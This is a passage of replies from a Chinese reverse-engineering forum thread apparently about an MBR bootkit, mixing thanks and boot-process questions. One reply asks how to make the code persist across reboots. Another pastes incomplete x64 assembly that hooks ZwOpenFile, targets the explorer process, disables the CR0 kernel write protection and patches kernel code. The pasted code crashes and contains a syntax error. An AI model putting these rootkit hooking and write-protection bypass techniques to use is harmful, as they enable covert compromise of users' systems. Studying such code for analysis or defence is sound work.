能力值:
( LV2,RANK:10 )
|
-
-
51 楼
这帖子才有料,学习
|
能力值:
( LV2,RANK:10 )
|
-
-
52 楼
我是新来的
|
能力值:
( LV2,RANK:10 )
|
-
-
53 楼
Mark 棒棒的
|
能力值:
( LV2,RANK:10 )
|
-
-
54 楼
求助,问大大一个问题。在传统bios启动中,一般都是理解为加电自检后从Int19h开始读取磁盘引导文件,开始引导启动。现在在efi中,纯efi启动已经没有了int19中断,那么有的efi支持兼容传统bios启动方式。那么这种加绒传统Bios的启动方式是真如传统Bios启动一样 ,还有int 19h这样的中断。还是已经没有了呢?引导文件不再使用int13h这样靠中断来读取了呢?
|
能力值:
( LV2,RANK:10 )
|
-
-
55 楼
请教大神,重启后恢复原始MBR,是您代码恢复的,还是系统自身会恢复?如何常驻呢?
|
能力值:
( LV2,RANK:10 )
|
-
-
56 楼
感谢分享!
|
能力值:
( LV2,RANK:10 )
|
-
-
57 楼
求助,在ZwOpenFile@这个函数里挂掉了,不让读取gs:0,此时gs=0x2b,我在bochs里使用x gs:0时,提示说这个线性地址无法转为物理地址,这是怎么回事,我该怎么处理,求各路大神指点。 ZwOpenFile proc stdcall ;uses rbx rcx rdx rsi rdi r8 r9 r10 r11 r13 r14 r15;x64 约定 rcx rdx r8 r9 寄存器为前4个参数,rbx rsi rdi rbp 函数调用不能变
;xchg sp,sp
pushf
push qword ptr [rsp+2]
call ZwOpenFile@
popf
mov eax,30h
ret
ZwOpenFile endp
ZwOpenFile@ proc stdcall uses rax rbx rcx rdx rsi rdi r8 r9 r10 r11 r12 r13 r14 r15 pNextDirective:qword
;api=6
LOCAL _KeStackAttachProcess:qword
LOCAL _ObOpenObjectByPointer:qword
LOCAL _ZwAllocateVirtualMemory:qword
;变量
LOCAL Base:qword
LOCAL ApcState[18h]:byte
LOCAL pBuf:qword
LOCAL buflen:qword
LOCAL hProcessHandle:qword
LOCAL my_interval[8]:byte
LOCAL pstatus:qword
LOCAL pCodeBuff:qword
LOCAL pProcessListHead:qword
LOCAL pExplorerProcess:qword
assume gs:nothing
;xchg sp,sp
;***************************下面这一句蓝屏***********************************************
mov rax,qword ptr gs:[188h]
mov rax,qword ptr gs:188
mov rax,[rax+70h
.if (dword ptr [rax+2e0h]!="lpxe")
jmp ZwOpenFile@_ret
.endif
mov pExplorerProcess,rax ;explorer的进程结构体
mov rax,cr0 ;取消写保护
btc rax,16
mov cr0,rax
mov rcx, pNextDirective
mov dword ptr [rcx-6],000030b8h
mov word ptr [rcx-2],9000h
|
|
|